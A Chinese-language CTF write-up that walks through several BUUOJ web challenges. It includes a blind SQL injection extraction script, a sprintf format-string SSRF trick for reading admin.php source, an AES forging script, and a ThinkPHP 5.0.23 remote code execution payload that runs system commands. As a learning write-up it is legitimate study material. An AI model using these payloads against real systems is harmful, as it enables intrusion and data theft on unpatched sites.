打开题目看到登录页面
记得当时比赛的时候一直没想到错误回显信息实在下面的p3师傅想要女朋友那
哈哈哈哈!大佬都是强到没有女朋友啊,我也没有。呜呜呜。哈哈哈
言归正传。
试了下robots.txt发现了hint.txt
访问之后得到,后台sql的语句
看了很长时间,看到sql语句是通过and进行拼接的
select * from users where username='$_POST["username"]' and password='$_POST["password"]';
通过p3师傅的英文介绍可知我们要输入正确的password才能得到flag!
我们可以将POST提交的username后面的单引号转义一下,通过转义使得其和password前面的单引号闭合,将passwod后面的逃逸出来。
从而使得username和password输入的内容和拼接到一起进行sql注入。
接下来就可以尝试
username = admin\
password = or 1#
发现出现了不同,变成了stronger
传入admin\
和 or/**/length(database())>0#
会回显stronger字样
传入admin\
和 or/**/length(database())<0#
会回显girl friend字样
二分法可以跑出来密码
上脚本
import requests
url = 'http://75ce8a36-31ec-4aa7-8539-acc0a0f4773b.node3.buuoj.cn/index.php'
flag = ''
for i in range(1,50):
max = 127
min = 32
mid = (max+min)//2
while max > min:
#payload = '^/**/(ascii(substr((password),%d,1))>%d)#'%(i,mid)
payload = '^/**/(ascii(substr((username),%d,1))>%d)#'%(i,mid)
data={
"username":"admin\\",
"password":payload
}
res = requests.post(url,data=data)
if 'P3rh4ps' in res.text:
min = mid + 1
else:
max = mid
mid = (max+min)//2
flag += chr(int(mid))
print flag
username admin
password OhyOuFOuNdit
成功登录,得到flag!
我太菜了,当时比赛的时候就卡到了代码审计的地方,现在拿着题再来复现下
buu平台:https://buuoj.cn/
抓包发包看到了home.php,在文件头信息中也可以看到
然后就开始访问下,发现了url发生了变化
看到url发生的变化,我想到了伪协议读源码
同时箭头标明的地方要注意,?file=system 但是下面确是system.php
接下来就开始读取home 的源码吧
<?php
setcookie("y1ng", sha1(md5('y1ng')), time() + 3600);
setcookie('your_ip_address', md5($_SERVER['REMOTE_ADDR']), time()+3600);
if(isset($_GET['file'])){
if (preg_match("/\^|\~|&|\|/", $_GET['file'])) {
die("forbidden");
}
if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
die("not now!");
}
if(preg_match("/.?a.?d.?m.?i.?n.?/i", $_GET['file'])){
die("You! are! not! my! admin!");
}
if(preg_match("/^home$/i", $_GET['file'])){
die("ç¦æ¢å¥—娃");
}
else{
if(preg_match("/home$/i", $_GET['file']) or preg_match("/system$/i", $_GET['file'])){
$file = $_GET['file'].".php";
}
else{
$file = $_GET['file'].".fxxkyou!";
}
echo "现在访问的是 ".$file . "<br>";
require $file;
}
} else {
echo "<script>location.href='./home.php?file=system'</script>";
}
这个地方的代码审计还好,可以看懂
1.setcookie
建立Session,我也不明白是要做啥
setcookie("y1ng", sha1(md5(‘y1ng‘)), time() + 3600);//1
setcookie(‘your_ip_address‘, md5($_SERVER[‘REMOTE_ADDR‘]), time()+3600);
2.接受GET参数,然后开始设置过滤。
/^|~|&||/`:过滤了^ ~ & /
/.?f.?l.?a.?g.?/i`:带flag就gg
/.?a.?d.?m.?i.?n.?/i`:带admin就gg
/^home$/i`:不能只有home
3.只有参数为file或者system的时候,会拼成xxxx.php并包含。其他的就会输出文件名+fxxkyou.这个就是刚刚url和页面上显示不一样的原因。
然后就老看看system的源码
<?php
error_reporting(0);
if (!isset($_COOKIE['y1ng']) || $_COOKIE['y1ng'] !== sha1(md5('y1ng'))){
echo "<script>alert('why you are here!');alert('fxck your scanner');alert('fxck you! get out!');</script>";
header("Refresh:0.1;url=index.php");
die;
}
$str2 = ' Error: url invalid<br>~$ ';
$str3 = ' Error: damn hacker!<br>~$ ';
$str4 = ' Error: request method error<br>~$ ';
?>
<html代码>
<?php
$filter1 = '/^http:\/\/127\.0\.0\.1\//i';
$filter2 = '/.?f.?l.?a.?g.?/i';
if (isset($_POST['q1']) && isset($_POST['q2']) && isset($_POST['q3']) ) {
$url = $_POST['q2'].".y1ng.txt";
$method = $_POST['q3'];
$str1 = "~$ python fuck.py -u \"".$url ."\" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei<br>";
echo $str1;
if (!preg_match($filter1, $url) ){
die($str2);
}
if (preg_match($filter2, $url)) {
die($str3);
}
if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) {
die($str4);
}
$detect = @file_get_contents($url, false);
print(sprintf("$url method&content_size:$method%d", $detect));
}
?>
代码审计可以得到写思路
1.首先对session进行了限制
2.post传参p1,p2,p3。而且p2会被加上.y1ng.txt,拼接url。q3会传给$method
3.不能出现flag!
4.必须要有http://127.0.0.1
5.q3传过来的$method
必须含有GET或者POST
通过home文件的代码我们可以猜测到存在admin.php文件
然后下面就是要开始构造payload来读取admin.php的源码
然后我就不懂了,哈哈哈哈
下面就开始翻阅大佬们的博客了!!
首先要把y1ng.txt过滤掉,payload
http://127.0.0.1/admin.php?a=1
进行file_get_contents(),然后格式化输出,但是输出的是%d,也就是个整数,并不是%s。对于%d可以发现代码中的$method和%d是连起来的,可以用GET%s来格式化,还需要把%d转义掉,对于sprintf()函数,对百分号的转义是用2个%而不是反斜线 GET%s% 所以依次输入便可以查询到admin.php的源码,最终payload
q1=fku&q2=http://127.0.0.1/admin.php?hj=nb&q3=GET%s%
得到源码
~$ python fuck.py -u "http://127.0.0.1/admin.php?hj=nb.y1ng.txt" -M GET%s% -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei
http://127.0.0.1/admin.php?hj=nb.y1ng.txt method&content_size:GET <?php
error_reporting(0);
session_start();
$f1ag = 'f1ag{s1mpl3_SSRF_@nd_spr1ntf}'; //fake
function aesEn($data, $key)
{
$method = 'AES-128-CBC';
$iv = md5($_SERVER['REMOTE_ADDR'],true);
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}
function Check()
{
if (isset($_COOKIE['your_ip_address']) && $_COOKIE['your_ip_address'] === md5($_SERVER['REMOTE_ADDR']) && $_COOKIE['y1ng'] === sha1(md5('y1ng')))
return true;
else
return false;
}
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
highlight_file(__FILE__);
} else {
echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size='10px' color=white><br>only 127.0.0.1 can access! You know what I mean right?<br>your ip address is " . $_SERVER['REMOTE_ADDR'];
}
$_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']);
if (isset($_GET['decrypt'])) {
$decr = $_GET['decrypt'];
if (Check()){
$data = $_SESSION['secret'];
include 'flag_2sln2ndln2klnlksnf.php';
$cipher = aesEn($data, 'y1ng');
if ($decr === $cipher){
echo WHAT_YOU_WANT;
} else {
die('爬');
}
} else{
header("Refresh:0.1;url=index.php");
}
} else {
//I heard you can break PHP mt_rand seed
mt_srand(rand(0,9999999));
$length = mt_rand(40,80);
$_SESSION['secret'] = bin2hex(random_bytes($length));
}
?>
%d
审计可以看到是aes-CBC加密方式,对那个随机数$_SESSION[‘secret’]进行aes加密操作,如果加密结果和我们传进去的decrypt相同就会输出flag: 这个生成的不能被破解的随机字符串被放在了session中,如果没有了session就没有了这个随机字符串,只要通过删除PHPSESSID将SESSION置空即可 可以来写一个算AES的脚本,我不会写,贴个其他师傅的
<?php
function aesEn($data, $key)
{
$method = 'AES-128-CBC';
$iv = md5('174.0.0.201',true);
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}
echo aesEn('','y1ng');
?>
本机的IP通过访问admin.php来得到,然后得到了
NjsmGkorj5yvvA4w11R3FA==
然后开始构造payload,但是必须先url编码下
得到了爬
然后我们再将PHPSESSION删除就可以得到flag
打开题目,然后f12查看下,没什么东西,但是在网页上看到了一句话
发现这个网站是用的thinkphp
然后随便get提交了一个s的值,发现了这个Thinkphp的版本为5.0.23
然后就开始百度这个版本的thinkphp漏洞
找到了一个RCE漏洞
然后直接套就好了
GET ?s=captcha
POSTData _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag
打开题目看到了一个文本框
于是就尝试着输入了下,结果发现payload发生了变化
总结下我还是菜啊!